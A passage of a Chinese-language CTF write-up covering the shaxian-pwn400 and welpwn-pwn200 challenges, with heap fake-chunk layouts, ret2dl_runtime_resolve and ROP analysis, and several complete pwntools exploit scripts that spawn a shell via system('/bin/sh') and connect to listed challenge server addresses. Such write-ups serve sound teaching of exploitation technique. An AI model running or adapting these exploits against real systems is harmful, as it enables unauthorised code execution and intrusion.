[fake_chunk] for [fake_chain]
0x0804BF08 - 0x0804BF10 chunk_header
0x0804BF10 - 0x0804BF14 count
0x0804BF14 - 0x0804BF34 food_type
0x0804BF34 - 0x0804BF38 next

[fake_chain]
0x0804BF14 - 0x0804BF1C reloc_data
0x0804BF1C - 0x0804BF2C sym_data
0x0804BF2C - 0x0804BF34 "system"
0x0804BF34 - 0x0804BF3C "/bin/sh"

  还有一个处于head_ptr附近的用于任意地址写入4字节任意数据的fake_chunk,此fake_chunk的内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
0x0804B0C0 - 0x0804B1C0  Phone_number 

[fake_chunk] for head_ptr
0x0804B1B0 - 0x0804B1B8 chunk_header
0x0804B1B8 - 0x0804B1BC count
0x0804B1BC - 0x0804B1C0------------
0x0804B1C0 - 0x0804B1C4 head_ptr |food_type
0x0804B1C4 - 0x0804B1DC------------
0x0804B1DC - 0x0804B1E0 next

0x0804B1E0 - 0x0804B1E8 Address(next_chunk's chunk_header)
0x0804B1E8 - 0x0804B2E0 Address

  我们将shellcode放在了Title缓冲区的末尾,在fake_chain的前面,保证了预留的栈空间大于0x300字节。至此,内存布局完成。

0x33 利用思路

1、Stage1:为fake_chain创建fake_chunk

  为fake_chain创建fake_chunk其实就是伪造fake_chunk的chunk_header和fake_chunk的next_chunk的chunk_header。因为需要Freechunk是需要满足一定条件的:

1、fake_chunk 的ISMMAP位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
2、fake_chunk 地址需要对齐, MALLOC_ALIGN_MASK
3、fake_chunk 的size大小需要满足对应的fastbin的需求,同时也得对齐
4、fake_chunk的next chunk的大小不能小于2 * SIZE_SZ,同时也不能大于av->system_mem 。
5、fake_chunk对应的fastbin链表头部不能是该fake_chunk,即不能构成double free的情况。

2、Stage2:将fake_chain写入fake_chunk

  首先将fake_chunk释放,让其进入fastbin链表中,fastbin链表的头指针指向这个fake_chunk,下次通过malloc申请chunk时,就会从fastbin链表的头部取下这个fake_chunk,我们就可以将fake_chain写入到此fake_chunk

3、Stage3:将shellcode写入Title缓冲区末尾

  shellcode用于调用符号解析函数,解析system的地址。

4、Stage4:将atoi_got修改为gadgets的地址

  gadgets的作用是抬高栈,因为调用atoi()函数的时候,esp距离payload还有一段内存,所以需要将栈抬高。还将ebp修改为shellcode的地址,再通过leave;ret跳转到shellcode执行。

1
2
3
4
5
6
08048C29  add esp, 1Ch
08048C2C pop ebx
08048C2D pop esi
08048C2E pop edi
08048C2F pop ebp
08048C30 retn

5、Stage5:输入atoi的参数,并跳转到shellcode执行

1
2
# esi,edi,ebp,ret(将ebp修改为shellcode地址,通过ebp和leave_ret调整esp,跳转到shellcode执行)
payload = 'A'*8 + p32(Title + 0x100 - 0x10 - 0x14) + p32(leave_ret)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *
import struct

context.clear()
context.log_level = 'debug'
context.binary = './shaxian'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}

'''
bp 0x08048B31,main函数起始地址
bp 0x08048912,malloc后,查看分配的堆块的数据域地址
bp 0x08048B8E,Diancai函数返回地址
bp 0x080489F6,查看要Free的堆块地址
bp 0x08048B95,Submit函数返回地址
bp 0x08048737,atoi调用地址
bp 0x08048C29,add_ppp_ebp_ret
'''
def get_io():
if args['REMOTE']:
io = remote('180.76.178.48',10000)
else:
if debug:
# io = gdb.debug('./shaxian','''bp 0x08048B31
# bp 0x08048912
# bp 0x08048B8E
# bp 0x080489F6
# bp 0x08048B95
# bp 0x08048C29''')
io = gdb.debug('./shaxian','''bp 0x08048C29''')
else:
io = process('./shaxian')
return io

def dian_cai(io,name,count):
io.recvuntil('choose:\n')
io.sendline('1')
io.recvuntil('5.Jianjiao\n')
io.sendline(name)
io.recvuntil('How many?\n')
io.sendline(str(count))

def submit(io):
io.recvuntil('choose:\n')
io.sendline('2')

def receipt(io,taitou):
io.recvuntil('choose:\n') # 程序中用的是puts()
io.sendline('3')
io.recvuntil('Taitou:') # 程序中用的是printf()
io.sendline(taitou)

def review(io):
io.recvuntil('choose:\n')
io.sendline('4')

# x86
# Elf32_Rel *reloc = JMPREL + reloc_offset # 符号的重定位项的地址
# Elf32_Sym *sym = &SYMTAB[(reloc->r_info)>>8] # 符号的符号项的地址
# i.e. *sym = DT_SYMTAB + [(reloc->r_info)>>8]*4*4 # Elf32_Sym结构体的大小为16字节
# assert(((reloc->r_info)&0xff) == 0x07) # 重定位类型是R_386_JMP_SLOT
# if((sym->st_other)&3 == 0) # 符号可见性
# uint16_t ndx = VERSYM[(reloc->r_info)>>8] # ndx=0 -> local symbol
# i.e. ndx = DT_VERSYM + [(reloc->r_info)>>8]*2 # 符号版本索引的大小为2字节
# r_found_version *version = &l->l_version(ndx) # 当前符号的版本信息
# i.e. *version = &l->l_version + ndx*4*4 # r_found_version结构体的大小为16字节
# name = DT_STRTAB + sym->st_name # 当前符号的字符串

'''
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 4byte
Elf32_Word r_info; /* 重定位类型和符号表下标 */ 4byte
} Elf32_Rel;
'''
def generate_x86_reloc_data(got_plt,sym_index):
return p32(got_plt) + p32((sym_index<<8) + 0x07)

'''
typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */ 4byte
Elf32_Word st_size; /* 符号的大小 */ 4byte
unsigned char st_info; /* 符号类型及绑定属性 */ 1byte
unsigned char st_other; /* 符号的可见性 */ 1byte
Elf32_Section st_shndx; /* 节头表索引 */ 2byte
} Elf32_Sym;
'''
def generate_x86_sym_data(name_offset):
return p32(name_offset) + p32(0) + p32(0) + p32(0x12)

DT_JMPREL = 0x08048408
DT_SYMTAB = 0x080481DC
DT_STRTAB = 0x080482EC
DT_VERSYM = 0x08048396
PLT0 = 0x08048490

atoi_got = 0x0804B038
system_got = atoi_got

# 0x0804B0C0 - 0x0804B1C0 (0x100)
Phone_number_buf = 0x0804B0C0
# 0x0804B1C0 - 0x0804B1E0 (0x20)
head_ptr = 0x0804B1C0
# 0x0804B1E0 - 0x0804B2E0 (0x100)
Address_buf = 0x0804B1E0
# 0x0804B2E0 - 0x0804B300 (0x20)
shopping_cart = 0x0804B2E0
# 0x0804B300 - 0x0804B400 (0x100)
Title = 0x0804B300

'''
[fake_chunk] for [fake_chain]
0x0804BF08 - 0x0804BF10 chunk_header
0x0804BF10 - 0x0804BF14 count
0x0804BF14 - 0x0804BF34 food_type
0x0804BF34 - 0x0804BF38 next

[fake_chain]
0x0804BF14 - 0x0804BF1C reloc_data
0x0804BF1C - 0x0804BF2C sym_data
0x0804BF2C - 0x0804BF34 "system"
0x0804BF34 - 0x0804BF3C "/bin/sh"
'''

# reloc_data_addr(0x0804BF14) = DT_JMPREL(0x08048408) + reloc_offset(0x3B0C)
reloc_offset = 0x3B0C

# sym_data_addr(0x0804BF1C) = DT_SYMTAB(0x080481DC) + sym_index(0x3D4) * 16 (not useful)
# versym_data_addr(0x08048B3E) = DT_VERSYM(0x08048396) + sym_index(0x3D4) * 2
# ndx = 0x0
reloc_data_addr = 0x0804BF14
reloc_data = generate_x86_reloc_data(system_got,0x3D4)

# func_name_addr(0x0804BF2C) = DT_STRTAB(0x080482EC) + name_offset(0x3C40)
sym_data_addr = 0x0804BF1C
sym_data = generate_x86_sym_data(0x3C40)

# func_name_addr(0x0804BF2C) = sym_data_addr + 0x10
func_name_addr = sym_data_addr + 0x10
func_name = "system\x00\x00"

# binsh_str_addr(0x0804BF34) = func_name_addr + 0x8
binsh_str_addr = func_name_addr + 0x8
binsh_str = "/bin/sh\x00"

def pwn(io):
'''
内存布局:
0x0804B0C0 - 0x0804B1C0 Phone_number

[fake_chunk] for head_ptr
0x0804B1B0 - 0x0804B1B8 chunk_header
0x0804B1B8 - 0x0804B1BC count
0x0804B1BC - 0x0804B1C0------------
0x0804B1C0 - 0x0804B1C4 head_ptr |food_type
0x0804B1C4 - 0x0804B1DC------------
0x0804B1DC - 0x0804B1E0 next

0x0804B1E0 - 0x0804B1E8 Address(next_chunk's chunk_header)
0x0804B1E8 - 0x0804B2E0 Address
'''
phone_number = 'A'*240 + p32(0x0) + p32(0x31)
address = p32(0x0) + p32(0x31)
io.recvuntil('Your Address:\n')
io.sendline(address)
io.recvuntil('Your Phone number:\n')
io.sendline(phone_number)

raw_input('Stage1: Create fake_chunk for fake_chain')
# 伪造fake_chunk的chunk_header
name = 'A'*32 + p32(head_ptr - 8)
dian_cai(io,name,1) # 0x804c008
submit(io) # 0x804c008,0x804b1b8
name = 'B'*4 + p32(0x0804BF10 - 0x4)
name = name.ljust(36,'\x00') # 修改fake_chunk的next指针,防止下一次Free堆块时进入死循环
count = struct.unpack("i",p32(0x31))[0]
dian_cai(io,name,count) # 0x804b1b8

# 伪造fake_chunk相邻的next_chunk的chunk_header
name = 'A'*32 + p32(head_ptr - 8)
dian_cai(io,name,1) # 0x804c008
submit(io) # 0x804c008,0x804b1b8
name = 'B'*4 + p32(0x0804BF38 + 0x4)
name = name.ljust(36,'\x00')
count = struct.unpack("i",p32(0x31))[0]
dian_cai(io,name,count) # 0x804b1b8

raw_input('Stage2: Write fake_chain to fake_chunk.')
dian_cai(io,'C'*32 + p32(reloc_data_addr - 0x4),2) # 0x804c008
submit(io) # 0x804c008,0x0804BF10
fake_chain = reloc_data
fake_chain += sym_data
fake_chain += func_name
fake_chain += binsh_str
dian_cai(io,fake_chain,3) # 0x0804BF10

raw_input('Stage3: Write shellcode to Title.')
shellcode = p32(PLT0) + p32(reloc_offset) + p32(0x01010101) + p32(binsh_str_addr)
payload = "BBBB" #
payload += shellcode
payload = payload.rjust(240,'A')
receipt(io,payload)

raw_input('Stage4: Modify atoi_got to gadgets.')
'''
08048C29 add esp, 1Ch
08048C2C pop ebx
08048C2D pop esi
08048C2E pop edi
08048C2F pop ebp
08048C30 retn
'''
add_ppp_ebp_ret = 0x08048C29
leave_ret = 0x080485c8

name = 'A'*32 + p32(head_ptr - 8)
dian_cai(io,name,1) # 0x804c008
submit(io) # 0x804c008,0x804b1b8
name = 'B'*4 + p32(atoi_got)
# name = name.ljust(36,'\x00')
count = struct.unpack("i",p32(add_ppp_ebp_ret))[0]
dian_cai(io,name,count) # 0x804b1b8

raw_input('Stage5: Jump to shellcode.')
io.recvuntil("choose:\n")
# esi,edi,ebp,ret(将ebp修改为shellcode地址,通过ebp和leave_ret调整esp)
payload = 'A'*8 + p32(Title + 0x100 - 0x10 - 0x14) + p32(leave_ret)
io.sendline(payload)
io.interactive()

if __name__ == '__main__':
debug = 0 # debug = 1表示进行调试
io = get_io()
pwn(io)

welpwn-pwn200

0x00 检查程序开启的保护机制

1
2
3
4
5
6
7
8
9
10
$ file welpwn        
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped

$ checksec welpwn
[*] '/home//Desktop/remote-dbg/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

  我们可以看到这是一个64位ELF可执行程序,开启了Partial RELRO(部分重定位只读),在这种情况下,.dynamic段是不可写的,.got.plt段(GOT表)是可写的。又开启了NX(DEP)使堆栈上的代码不可执行。

0x10 静态分析

  通过IDA插件反编译后,主函数的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char argv, const char envp)
{
char buf[400]; // [rsp+0h] [rbp-400h]

alarm(10u);
write(1, "Welcome to RCTF\n", 16uLL);
fflush(_bss_start); // 刷新bss段内容
read(0, buf, 1024uLL);
echo(buf);
return 0;
}

  我们可以看到主函数上有一个1024字节的大缓冲区buf,在从标准输入读取完数据后,将buf缓冲区地址作为参数,传入到了echo()函数。下面是echo()函数的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall echo(char *buf)
{
char flag[16]; // [rsp+10h] [rbp-10h]

for ( i = 0; buf[i]; ++i )
flag[i] = buf[i]; // flag大小为16,存在栈溢出
flag[i] = 0; // 如果buf中的字符串长度为16,这里可以修改rbp最低字节
if ( !strcmp("ROIS", flag) )
{
printf("RCTF{Welcome}", flag);
puts(" is not flag");
}
return printf("%s", flag);
}

  我们可以看到flag字符数组只有16字节大小,如果传入的buf字符串的长度大于16字节,就会覆盖echo()函数rbp内容(也就是main函数的rbp),以及echo()函数返回地址,从而获得程序的控制流。

0x20 方法一:如果提供了libc.so,栈喷射+覆盖main’s rbp最低字节,转移main函数rbp到rop代码处。ret2libc。

利用思路

1、首先构造payload,使echo()函数的rbp指向的内容的最低字节修改为“\x00”,也就是main()函数rbp最低字节。echo()函数正常返回到main()函数,但是main()函数的rbp得到修改,这样就会使main()函数返回时,返回地址落在了buf缓冲区内。我们通过将ROP chain喷射到buf缓冲区内,使main()函数返回时刚好可以返回到ROP chain。但这需要一定的几率,因为系统如果开启ASLR,每次执行程序时,main()函数的rbp都是不同的。

  此ROP chain的功能是利用puts()函数泄露任一程序中使用到的库函数地址。然后,返回到main()函数起始地址,进行下一次利用

2、根据泄露出的库函数地址,以及所给libc.so,我们可以计算出libc.so的加载基址。再加上system()函数的偏移或“/bin/sh\x00”字符串的偏移,就可以计算出system()函数的地址以及“/bin/sh\x00”字符串的地址。

3、再次构造payload,这次的ROP chain的功能是调用system("/bin/sh")函数。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# Author:Sp4n9x
# -*- coding:utf-8 -*-
# libc版本: libc6_2.23-0ubuntu11.2_amd64
# 方法:栈喷射+覆盖main's rbp最低字节,转移main函数栈底位置。
from pwn import *

context.clear()
context.log_level = 'debug'
context.binary = './welpwn'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

elf = ELF('./welpwn')
libc = ELF('./libc-2.23_x86_64.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x4008a3
main_addr = 0x4007CD

'''
bp 0x4007CD,main函数起始地址
bp 0x400819,read()函数调用地址
bp 0x400782,flag[i] = 0;地址,修改rbp最低字节
bp 0x400793,strcmp()函数调用地址
bp 0x4007C6,return printf("%s", flag);
'''
def get_io():
if args['remote']:
io = remote('180.76.128.48',6666)
else:
if debug:
io = gdb.debug('./welpwn','''
bp 0x4007CD
bp 0x400819
bp 0x400782
bp 0x400793
bp 0x4007C6''')
else:
io = process('./welpwn')
return io

def pwn(io):
payload = 'A'*0x10 + '\x00'*8 # \x00截断
rop = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
while len(payload) < 1024 - len(rop):
payload += rop
payload = payload.ljust(1024,'B')

io.recvuntil('Welcome to RCTF\n')
io.send(payload)
io.recvuntil('A'*0x10) # printf("%s", flag);
data = io.recvuntil('\n').strip('\n') # rop中调用puts函数打印puts函数地址
puts_addr = u64(data.ljust(8,'\x00'))
print "puts_addr:",hex(puts_addr)

if puts_addr&0xfff != 0x6A0: # 系统ASLR开启,不能保证每次main函数的rbp都符合条件
exit(0)

libc_base = puts_addr - libc.sym['puts']# 0x6F6A0
print "libc_base:",hex(libc_base)
system_addr = libc_base + libc.sym['system']# 0x453A0
print "system_addr:",hex(system_addr)
binsh_addr = libc_base + 0x18CE17
print "binsh_addr:",hex(binsh_addr)

# \x00截断,main函数的rbp,之前的与现在的相差0x10,覆盖完rbp后,无法返回到rop代码,所以'B'*0x10用于调整rop位置
payload2 = 'A'*0x10 + '\x00'*8 + 'B'*0x10
rop = p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(main_addr)
while len(payload2) < 1024:
payload2 += rop

io.recvuntil('Welcome to RCTF\n')
# 如果是send(),缓冲区中会有超过1024字节的那部分数据,没有换行符,会与输入的命令进行拼接
io.sendline(payload2)
io.interactive()

if __name__ == '__main__':
debug = 0 # debug = 1表示进行调试
io = get_io()
pwn(io)

0x30 方法二:如果提供了libc.so,使用__libc_csu_init中的通用gadgets构造ROP chain。ret2libc。

利用思路

1、构造payload,使其可以覆盖echo()函数返回地址,返回到构造的ROP chain地址处。ROP chain主要是使用__libc_csu_init中的通用gadgets构造。执行完ROP chain,使程序返回main()函数起始地址,进行下一次利用

2、利用分为三个阶段

第一阶段:调用write()函数,泄露程序中使用到的任意库函数的地址。然后根据泄露出的库函数地址,以及所给libc.so,我们可以计算出libc.so的加载基址。再加上system()函数的偏移或“/bin/sh\x00”字符串的偏移,就可以计算出system()函数的地址以及“/bin/sh\x00”字符串的地址。
第二阶段:调用read()函数,将计算出的system()函数地址以及“/bin/sh\x00”字符串地址,写到.bss段,以方便下次构造ROP chain。
第三阶段:调用system(“/bin/sh”)获取shell。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# Author:Sp4n9x
# -*- coding:utf-8 -*-
# libc版本: libc6_2.23-0ubuntu11.2_amd64
# 方法:使用__libc_csu_init中的通用gadgets构造ROP
from pwn import *

context.clear()
context.log_level = 'debug'
context.binary = './welpwn'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

elf = ELF('./welpwn')
libc = ELF('./libc-2.23_x86_64.so')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x4007cd
bss_addr = 0x601270
pop_rdi_ret = 0x4008a3 # pop rdi;ret
pop4_r12_ret = 0x40089c # pop r12 r13 r14 r15;ret
pop6_rbx_ret = 0x40089a # pop rbx rbp r12 r13 r14 r15;ret
# __libc_csu_init中的通用gadgets
# mov rdx, r13 ;
# mov rsi, r14 ;
# mov edi, r15d ;
# call qword ptr [r12+rbx*8] ;
mov_rdx_rsi_edi_call = 0x400880

'''
bp 0x4007CD,main函数起始地址
bp 0x400819,read()函数调用地址
bp 0x400782,flag[i] = 0;地址,修改rbp最低字节
bp 0x400793,strcmp()函数调用地址
bp 0x4007C6,return printf("%s", flag);
'''
def get_io():
if args['remote']:
io = remote('111.198.29.45',53830)
else:
if debug:
io = gdb.debug('./welpwn','''
bp 0x4007CD
bp 0x400819
bp 0x400782
bp 0x400793
bp 0x4007C6''')
else:
io = process('./welpwn')
return io

def pwn(io):
# echo()中的flag缓冲区,0x10字节。echo()返回地址下面就是main函数中大小为1024字节的缓冲区
# flag[16],rbp,ret_addr
# r12 = 'A'*8,r13 = 'A'*8,r14 = 'A'*8,r15 = pop4_r12_ret,ret_addr = pop6_rbx_ret
payload = 0x18*"A" + p64(pop4_r12_ret)
payload += p64(pop6_rbx_ret)
# rbx = 0,rbp = 1,r12 = write_got,r13 = 8,r14 = write_got,r15 = 1
payload += p64(0x0) + p64(0x1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
# mov rdx, r13 ; rdx = r13 = 8
# mov rsi, r14 ; rsi = r14 = write_got
# mov edi, r15d ; edi = r15d = 1
# call qword ptr [r12+rbx*8] ; [r12+rbx*8] = [write_got]
payload += p64(mov_rdx_rsi_edi_call) # write(1,write_got,8)
# add rsp,8;pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret(7*8 = 56)
payload += '\x00'*56
payload += p64(main_addr)
io.recvuntil("Welcome to RCTF\n")
io.sendline(payload)

write_addr = u64(io.recv(8))
print "write_addr:",hex(write_addr)
print "write_offset:",hex(libc.sym['write'])
libc_base_addr = write_addr - libc.sym['write']
print "libc_base_addr:",hex(libc_base_addr)
system_addr = libc_base_addr + libc.sym['system']
print "system_addr:",hex(system_addr)
print "system_offset:",hex(libc.sym['system'])

payload2 = "A"*0x18 + p64(pop4_r12_ret)
payload2 += p64(pop6_rbx_ret)
payload2 += p64(0x0) + p64(0x1) + p64(read_got) + p64(0x11) + p64(bss_addr) + p64(0)
payload2 += p64(mov_rdx_rsi_edi_call) # read(0,bss_addr,0x11)
payload2 += "\x00"*56
payload2 += p64(main_addr)
io.recvuntil("Welcome to RCTF\n")
io.sendline(payload2)
io.sendline("/bin/sh\x00"+ p64(system_addr))

payload3 = "A"*0x18 + p64(pop4_r12_ret)
payload3 += p64(pop6_rbx_ret)
payload3 += p64(0x0) + p64(0x1) + p64(bss_addr+8) + p64(0) + p64(0) + p64(bss_addr)
payload3 += p64(mov_rdx_rsi_edi_call) # system("/bin/sh")
payload3 += "\x00"*56
payload3 += p64(main_addr)
io.recvuntil("Welcome to RCTF\n")
io.sendline(payload3)

io.interactive()

if __name__ =="__main__":
debug = 0 # debug = 1表示进行调试
io = get_io()
pwn(io)

0x40 方法三:如果未提供libc.so,使用pwntools的DynELF模块对库函数地址进行泄露。ret2libc。

  使用此方法,编写exp时就比较简单了,因为很多工作都被pwntools封装好了,我们只需要调用一下就可以了。但是,不知道原理怎么行,所以,我决定重新写一篇文章进行DynELF泄露原理的介绍。

  DynELFpwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址的情况下,我们需要实现一个函数,此函数可以泄露任意地址任意数据,现在则可以解析任意加载库任意符号地址

模板*

1
2
3
4
5
6
7
8
9
10
p = remote(ip, port)

def leak(addr):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, enhex(data or '')))
return data

d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)
system_addr = d.lookup('system', 'libc')
read_add = d.lookup('read','libc')

利用思路

1、编写任意地址泄露任意数据函数。此函数中的payload的ROP chain,我们使用__libc_csu_init中的通用gadgets构造,通过调用write()函数,泄露任意地址8字节数据

2、通过DynELF中泄露符号地址的函数lookup,泄露system()函数地址和gets()函数地址。

3、待找到libcsystem()函数地址和gets()函数地址,再构造payload,调用gets()函数,将“/bin/sh”写入到“.bss”段,再调用system()函数,获取shell。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# Author:Sp4n9x
# -*- coding:utf-8 -*-
# 方法:未知libc.so版本,使用DynELF()泄露libc.so中的函数地址
from pwn import *

context.clear()
context.log_level = 'debug'
context.binary = './welpwn'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

elf = ELF('./welpwn')
write_got = elf.got['write']
read_got = elf.got['read']
main_addr = 0x4007cd
bss_addr = 0x601270
pop_rdi_ret = 0x4008a3 # pop rdi;ret
pop4_r12_ret = 0x40089c # pop r12 r13 r14 r15;ret
pop6_rbx_ret = 0x40089a # pop rbx rbp r12 r13 r14 r15;ret
# __libc_csu_init中的通用gadgets
# mov rdx, r13 ;
# mov rsi, r14 ;
# mov edi, r15d ;
# call qword ptr [r12+rbx*8] ;
mov_rdx_rsi_edi_call = 0x400880

'''
bp 0x4007CD,main函数起始地址
bp 0x400819,read()函数调用地址
bp 0x400782,flag[i] = 0;地址,修改rbp最低字节
bp 0x400793,strcmp()函数调用地址
bp 0x4007C6,return printf("%s", flag);
'''
def get_io():
if args['remote']:
io = remote('111.198.29.45',53830)
else:
if debug:
io = gdb.debug('./welpwn','''
bp 0x4007CD
bp 0x400819
bp 0x400782
bp 0x400793
bp 0x4007C6''')
else:
io = process('./welpwn')
return io

def leak(addr):
payload = 0x18*"A" + p64(pop4_r12_ret)
payload += p64(pop6_rbx_ret)
# rbx = 0,rbp = 1,r12 = write_got,r13 = 8,r14 = addr,r15 = 1
payload += p64(0x0) + p64(0x1) + p64(write_got) + p64(8) + p64(addr) + p64(1)
# mov rdx, r13 ; rdx = r13 = 8
# mov rsi, r14 ; rsi = r14 = addr
# mov edi, r15d ; edi = r15d = 1
# call qword ptr [r12+rbx*8] ; [r12+rbx*8] = [write_got]
payload += p64(mov_rdx_rsi_edi_call) # write(1,addr,8)
# add rsp,8;pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret(7*8 = 56)
payload += '\x00'*56
payload += p64(main_addr)
io.sendline(payload)

result = io.recv(8)
io.recv(0x10 + 0x1b)
print "%#x -> %s" %(addr, (result or '').encode('hex'))
return result

def pwn():
io.recvuntil("Welcome to RCTF\n")
d = DynELF(leak,elf = ELF('./welpwn'))
system_addr = int(d.lookup('system','libc'))
print "system_addr:",hex(system_addr)
gets_addr = int(d.lookup('gets','libc'))
print "gets_addr:",hex(gets_addr)

rop = p64(pop_rdi_ret) + p64(bss_addr) + p64(gets_addr)
rop += p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)
rop += p64(main_addr)
payload = 'A'*0x18 + p64(pop4_r12_ret)
payload += rop
io.sendline(payload)
io.send("/bin/sh\x00")

io.interactive()

if __name__ =="__main__":
debug = 0 # debug = 1表示进行调试
io = get_io()
pwn()

文章目录
  1. shaxian-pwn400
    1. 0x00 检查程序开启的保护机制
    2. 0x10 静态分析
    3. 0x20 方法一:对libc库中的函数偏移进行爆破。
    4. 0x30 方法二:使用ret2_dl_runtime_resolve方式进行利用。
      1. 0x31 内存的布局
      2. 0x32 本方法使用的内存布局
      3. 0x33 利用思路
  2. welpwn-pwn200
    1. 0x00 检查程序开启的保护机制
    2. 0x10 静态分析
    3. 0x20 方法一:如果提供了libc.so,栈喷射+覆盖main’s rbp最低字节,转移main函数rbp到rop代码处。ret2libc。
    4. 0x30 方法二:如果提供了libc.so,使用__libc_csu_init中的通用gadgets构造ROP chain。ret2libc。
    5. 0x40 方法三:如果未提供libc.so,使用pwntools的DynELF模块对库函数地址进行泄露。ret2libc。